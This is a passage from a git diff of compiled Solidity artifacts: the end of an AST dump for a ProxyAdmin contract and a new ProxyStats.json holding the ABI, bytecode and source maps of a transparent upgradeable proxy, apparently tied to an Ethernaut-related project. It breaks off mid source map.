`proxy`."},"functionSelector":"99a88ec4","implemented":true,"kind":"function","modifiers":[{"id":57969,"kind":"modifierInvocation","modifierName":{"id":57968,"name":"onlyOwner","nameLocations":["2331:9:118"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2331:9:118"},"nodeType":"ModifierInvocation","src":"2331:9:118"}],"name":"upgrade","nameLocation":"2249:7:118","parameters":{"id":57967,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57964,"mutability":"mutable","name":"proxy","nameLocation":"2285:5:118","nodeType":"VariableDeclaration","scope":57978,"src":"2257:33:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"},"typeName":{"id":57963,"nodeType":"UserDefinedTypeName","pathNode":{"id":57962,"name":"TransparentUpgradeableProxy","nameLocations":["2257:27:118"],"nodeType":"IdentifierPath","referencedDeclaration":47275,"src":"2257:27:118"},"referencedDeclaration":47275,"src":"2257:27:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}},"visibility":"internal"},{"constant":false,"id":57966,"mutability":"mutable","name":"implementation","nameLocation":"2300:14:118","nodeType":"VariableDeclaration","scope":57978,"src":"2292:22:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57965,"name":"address","nodeType":"ElementaryTypeName","src":"2292:7:118","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2256:59:118"},"returnParameters":{"id":57970,"nodeType":"ParameterList","parameters":[],"src":"2341:0:118"},"scope":58003,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":58002,"nodeType":"FunctionDefinition","src":"2655:250:118","nodes":[],"body":{"id":58001,"nodeType":"Block","src":"2826:79:118","nodes":[],"statements":[{"expression":{"arguments":[{"id":57997,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57984,"src":"2877:14:118","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":57998,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57986,"src":"2893:4:118","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":57991,"name":"proxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57982,"src":"2836:5:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}},"id":57993,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2842:16:118","memberName":"upgradeToAndCall","nodeType":"MemberAccess","referencedDeclaration":47244,"src":"2836:22:118","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) payable external"}},"id":57996,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":57994,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2866:3:118","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":57995,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2870:5:118","memberName":"value","nodeType":"MemberAccess","src":"2866:9:118","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"2836:40:118","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$_t_bytes_memory_ptr_$returns$__$value","typeString":"function (address,bytes memory) payable external"}},"id":57999,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2836:62:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58000,"nodeType":"ExpressionStatement","src":"2836:62:118"}]},"documentation":{"id":57979,"nodeType":"StructuredDocumentation","src":"2395:255:118","text":" @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See\n {TransparentUpgradeableProxy-upgradeToAndCall}.\n Requirements:\n - This contract must be the admin of `proxy`."},"functionSelector":"9623609d","implemented":true,"kind":"function","modifiers":[{"id":57989,"kind":"modifierInvocation","modifierName":{"id":57988,"name":"onlyOwner","nameLocations":["2812:9:118"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2812:9:118"},"nodeType":"ModifierInvocation","src":"2812:9:118"}],"name":"upgradeAndCall","nameLocation":"2664:14:118","parameters":{"id":57987,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57982,"mutability":"mutable","name":"proxy","nameLocation":"2707:5:118","nodeType":"VariableDeclaration","scope":58002,"src":"2679:33:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"},"typeName":{"id":57981,"nodeType":"UserDefinedTypeName","pathNode":{"id":57980,"name":"TransparentUpgradeableProxy","nameLocations":["2679:27:118"],"nodeType":"IdentifierPath","referencedDeclaration":47275,"src":"2679:27:118"},"referencedDeclaration":47275,"src":"2679:27:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}},"visibility":"internal"},{"constant":false,"id":57984,"mutability":"mutable","name":"implementation","nameLocation":"2722:14:118","nodeType":"VariableDeclaration","scope":58002,"src":"2714:22:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57983,"name":"address","nodeType":"ElementaryTypeName","src":"2714:7:118","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":57986,"mutability":"mutable","name":"data","nameLocation":"2751:4:118","nodeType":"VariableDeclaration","scope":58002,"src":"2738:17:118","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":57985,"name":"bytes","nodeType":"ElementaryTypeName","src":"2738:5:118","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2678:78:118"},"returnParameters":{"id":57990,"nodeType":"ParameterList","parameters":[],"src":"2826:0:118"},"scope":58003,"stateMutability":"payable","virtual":true,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":57873,"name":"Ownable","nameLocations":["520:7:118"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"520:7:118"},"id":57874,"nodeType":"InheritanceSpecifier","src":"520:7:118"}],"canonicalName":"ProxyAdmin","contractDependencies":[],"contractKind":"contract","documentation":{"id":57872,"nodeType":"StructuredDocumentation","src":"268:228:118","text":" @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an\n explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}."},"fullyImplemented":true,"linearizedBaseContracts":[58003,46700,48281],"name":"ProxyAdmin","nameLocation":"506:10:118","scope":58004,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":118} \ No newline at end of file diff --git a/contracts/out/ProxyStats.sol/ProxyStats.json b/contracts/out/ProxyStats.sol/ProxyStats.json new file mode 100644 index 000000000..83cde36c0 --- /dev/null +++ b/contracts/out/ProxyStats.sol/ProxyStats.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_impl","type":"address","internalType":"address"},{"name":"_admin","type":"address","internalType":"address"},{"name":"_ethernautAddress","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"fallback","stateMutability":"payable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"admin","inputs":[],"outputs":[{"name":"admin_","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"changeAdmin","inputs":[{"name":"newAdmin","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"implementation","inputs":[],"outputs":[{"name":"implementation_","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"upgradeTo","inputs":[{"name":"newImplementation","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"upgradeToAndCall","inputs":[{"name":"newImplementation","type":"address","internalType":"address"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"event","name":"AdminChanged","inputs":[{"name":"previousAdmin","type":"address","indexed":false,"internalType":"address"},{"name":"newAdmin","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"BeaconUpgraded","inputs":[{"name":"beacon","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"type":"event","name":"Upgraded","inputs":[{"name":"implementation","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564","sourceMap":"144:253:119:-:0;;;201:194;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;322:65;;-1:-1:-1;;;;;743:32:155;;322:65:119;;;725:51:155;307:5:119;;314:6;;698:18:155;;322:65:119;;;-1:-1:-1;;322:65:119;;;;;;;;;;;;;;-1:-1:-1;;;;;322:65:119;;;-1:-1:-1;;;322:65:119;;;;2038:6:29;;322:65:119;;1024:39:25;;2038:6:29;;322:65:119;;-1:-1:-1;;1024:17:25;:39;:::i;:::-;-1:-1:-1;2063:20:29::1;::::0;-1:-1:-1;2076:6:29;2063:12:::1;:20::i;:::-;1923:167:::0;;;201:194:119;;;144:253;;2183:295:26;2321:29;2332:17;2321:10;:29::i;:::-;2378:1;2364:4;:11;:15;:28;;;;2383:9;2364:28;2360:112;;;2408:53;2437:17;2456:4;2408:28;:53::i;:::-;;2360:112;2183:295;;;:::o;4624:135::-;4688:35;4701:11;-1:-1:-1;;;;;;;;;;;4178:45:26;-1:-1:-1;;;;;4178:45:26;;4108:122;4701:11;4688:35;;;-1:-1:-1;;;;;1017:15:155;;;999:34;;1069:15;;;1064:2;1049:18;;1042:43;934:18;4688:35:26;;;;;;;4733:19;4743:8;4733:9;:19::i;:::-;4624:135;:::o;1897:152::-;1963:37;1982:17;1963:18;:37::i;:::-;2015:27;;-1:-1:-1;;;;;2015:27:26;;;;;;;;1897:152;:::o;6570:198:33:-;6653:12;6684:77;6705:6;6713:4;6684:77;;;;;;;;;;;;;;;;;:20;:77::i;:::-;6677:84;6570:198;-1:-1:-1;;;6570:198:33:o;4312:201:26:-;-1:-1:-1;;;;;4375:22:26;;4367:73;;;;-1:-1:-1;;;4367:73:26;;1298:2:155;4367:73:26;;;1280:21:155;1337:2;1317:18;;;1310:30;1376:34;1356:18;;;1349:62;-1:-1:-1;;;1427:18:155;;;1420:36;1473:19;;4367:73:26;;;;;;;;;4498:8;-1:-1:-1;;;;;;;;;;;4450:39:26;:56;;-1:-1:-1;;;;;;4450:56:26;-1:-1:-1;;;;;4450:56:26;;;;;;;;;;-1:-1:-1;4312:201:26:o;1532:259::-;-1:-1:-1;;;;;1465:19:33;;;1605:95:26;;;;-1:-1:-1;;;1605:95:26;;1705:2:155;1605:95:26;;;1687:21:155;1744:2;1724:18;;;1717:30;1783:34;1763:18;;;1756:62;-1:-1:-1;;;1834:18:155;;;1827:43;1887:19;;1605:95:26;1503:409:155;1605:95:26;1767:17;1030:66;1710:48;1614:190:35;6954:387:33;7095:12;-1:-1:-1;;;;;1465:19:33;;;7119:69;;;;-1:-1:-1;;;7119:69:33;;2119:2:155;7119:69:33;;;2101:21:155;2158:2;2138:18;;;2131:30;2197:34;2177:18;;;2170:62;-1:-1:-1;;;2248:18:155;;;2241:36;2294:19;;7119:69:33;1917:402:155;7119:69:33;7200:12;7214:23;7241:6;-1:-1:-1;;;;;7241:19:33;7261:4;7241:25;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7199:67:33;;-1:-1:-1;7199:67:33;-1:-1:-1;7283:51:33;7199:67;;7321:12;7283:16;:51::i;:::-;7276:58;6954:387;-1:-1:-1;;;;;;6954:387:33:o;7561:742::-;7707:12;7735:7;7731:566;;;-1:-1:-1;7765:10:33;7758:17;;7731:566;7876:17;;:21;7872:415;;8120:10;8114:17;8180:15;8167:10;8163:2;8159:19;8152:44;7872:415;8259:12;8252:20;;-1:-1:-1;;;8252:20:33;;;;;;;;:::i;14:177:155:-;93:13;;-1:-1:-1;;;;;135:31:155;;125:42;;115:70;;181:1;178;171:12;115:70;14:177;;;:::o;196:378::-;284:6;292;300;353:2;341:9;332:7;328:23;324:32;321:52;;;369:1;366;359:12;321:52;392:40;422:9;392:40;:::i;:::-;382:50;;451:49;496:2;485:9;481:18;451:49;:::i;:::-;441:59;;519:49;564:2;553:9;549:18;519:49;:::i;:::-;509:59;;196:378;;;;;:::o;2324:250::-;2409:1;2419:113;2433:6;2430:1;2427:13;2419:113;;;2509:11;;;2503:18;2490:11;;;2483:39;2455:2;2448:10;2419:113;;;-1:-1:-1;;2566:1:155;2548:16;;2541:27;2324:250::o;2579:287::-;2708:3;2746:6;2740:13;2762:66;2821:6;2816:3;2809:4;2801:6;2797:17;2762:66;:::i;:::-;2844:16;;;;;2579:287;-1:-1:-1;;2579:287:155:o;2871:396::-;3020:2;3009:9;3002:21;2983:4;3052:6;3046:13;3095:6;3090:2;3079:9;3075:18;3068:34;3111:79;3183:6;3178:2;3167:9;3163:18;3158:2;3150:6;3146:15;3111:79;:::i;:::-;3251:2;3230:15;-1:-1:-1;;3226:29:155;3211:45;;;;3258:2;3207:54;;2871:396;-1:-1:-1;;2871:396:155:o;:::-;144:253:119;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033","sourceMap":"144:253:119:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2898:11:27;:9;:11::i;:::-;144:253:119;;2675:11:27;:9;:11::i;3960:134:29:-;;;;;;;;;;-1:-1:-1;3960:134:29;;;;;:::i;:::-;;:::i;4470:164::-;;;;;;:::i;:::-;;:::i;3363:129::-;;;;;;;;;;;;;:::i;:::-;;;-1:-1:-1;;;;;1240:55:155;;;1222:74;;1210:2;1195:18;3363:129:29;;;;;;;3697:103;;;;;;;;;;-1:-1:-1;3697:103:29;;;;;:::i;:::-;;:::i;2807:96::-;;;;;;;;;;;;;:::i;2322:110:27:-;2370:17;:15;:17::i;:::-;2397:28;2407:17;:15;:17::i;:::-;2397:9;:28::i;:::-;2322:110::o;3960:134:29:-;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;4033:54:::1;4051:17;4070:9;;;;;;;;;;;::::0;4081:5:::1;4033:17;:54::i;:::-;3960:134:::0;:::o;2260:99::-;2337:11;:9;:11::i;4470:164::-;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;4579:48:::1;4597:17;4616:4;;4579:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;::::0;;;;-1:-1:-1;4622:4:29::1;::::0;-1:-1:-1;4579:17:29::1;::::0;-1:-1:-1;;4579:48:29:i:1;:::-;4470:164:::0;;;:::o;2260:99::-;2337:11;:9;:11::i;3363:129::-;3415:23;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;3468:17:::1;:15;:17::i;:::-;3450:35;;3363:129:::0;:::o;2260:99::-;2337:11;:9;:11::i;:::-;3363:129;:::o;3697:103::-;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;3771:22:::1;3784:8;3771:12;:22::i;2807:96::-:0;2850:14;2278:11;:9;:11::i;:::-;-1:-1:-1;;;;;2264:25:29;:10;:25;2260:99;;2885:11:::1;:9;:11::i;4909:207::-:0;4994:11;:9;:11::i;:::-;-1:-1:-1;;;;;4980:25:29;:10;:25;4972:104;;;;-1:-1:-1;;;4972:104:29;;1509:2:155;4972:104:29;;;1491:21:155;1548:2;1528:18;;;1521:30;1587:34;1567:18;;;1560:62;1658:34;1638:18;;;1631:62;1730:4;1709:19;;;1702:33;1752:19;;4972:104:29;;;;;;;;1148:140:25;1215:12;1246:35;:33;:35::i;948:895:27:-;1286:14;1283:1;1280;1267:34;1500:1;1497;1481:14;1478:1;1462:14;1455:5;1442:60;1576:16;1573:1;1570;1555:38;1614:6;1681:66;;;;1796:16;1793:1;1786:27;1681:66;1716:16;1713:1;1706:27;4108:122:26;4152:7;3842:66;4178:39;:45;-1:-1:-1;;;;;4178:45:26;;4108:122;-1:-1:-1;4108:122:26:o;2183:295::-;2321:29;2332:17;2321:10;:29::i;:::-;2378:1;2364:4;:11;:15;:28;;;;2383:9;2364:28;2360:112;;;2408:53;2437:17;2456:4;2408:28;:53::i;:::-;;2183:295;;;:::o;4624:135::-;4688:35;4701:11;:9;:11::i;:::-;4688:35;;;-1:-1:-1;;;;;2035:15:155;;;2017:34;;2087:15;;;2082:2;2067:18;;2060:43;1929:18;4688:35:26;;;;;;;4733:19;4743:8;4733:9;:19::i;1301:140::-;1354:7;1030:66;1380:48;1614:190:35;1897:152:26;1963:37;1982:17;1963:18;:37::i;:::-;2015:27;;-1:-1:-1;;;;;2015:27:26;;;;;;;;1897:152;:::o;6570:198:33:-;6653:12;6684:77;6705:6;6713:4;6684:77;;;;;;;;;;;;;;;;;:20;:77::i;:::-;6677:84;6570:198;-1:-1:-1;;;6570:198:33:o;4312:201:26:-;-1:-1:-1;;;;;4375:22:26;;4367:73;;;;-1:-1:-1;;;4367:73:26;;2316:2:155;4367:73:26;;;2298:21:155;2355:2;2335:18;;;2328:30;2394:34;2374:18;;;2367:62;2465:8;2445:18;;;2438:36;2491:19;;4367:73:26;2114:402:155;4367:73:26;4498:8;3842:66;4450:39;:56;;;;-1:-1:-1;;;;;4450:56:26;;;;;;;;;;-1:-1:-1;4312:201:26:o;1532:259::-;-1:-1:-1;;;;;1465:19:33;;;1605:95:26;;;;-1:-1:-1;;;1605:95:26;;2723:2:155;1605:95:26;;;2705:21:155;2762:2;2742:18;;;2735:30;2801:34;2781:18;;;2774:62;2872:15;2852:18;;;2845:43;2905:19;;1605:95:26;2521:409:155;1605:95:26;1767:17;1030:66;1710:48;1614:190:35;6954:387:33;7095:12;-1:-1:-1;;;;;1465:19:33;;;7119:69;;;;-1:-1:-1;;;7119:69:33;;3137:2:155;7119:69:33;;;3119:21:155;3176:2;3156:18;;;3149:30;3215:34;3195:18;;;3188:62;3286:8;3266:18;;;3259:36;3312:19;;7119:69:33;2935:402:155;7119:69:33;7200:12;7214:23;7241:6;-1:-1:-1;;;;;7241:19:33;7261:4;7241:25;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7199:67;;;;7283:51;7300:7;7309:10;7321: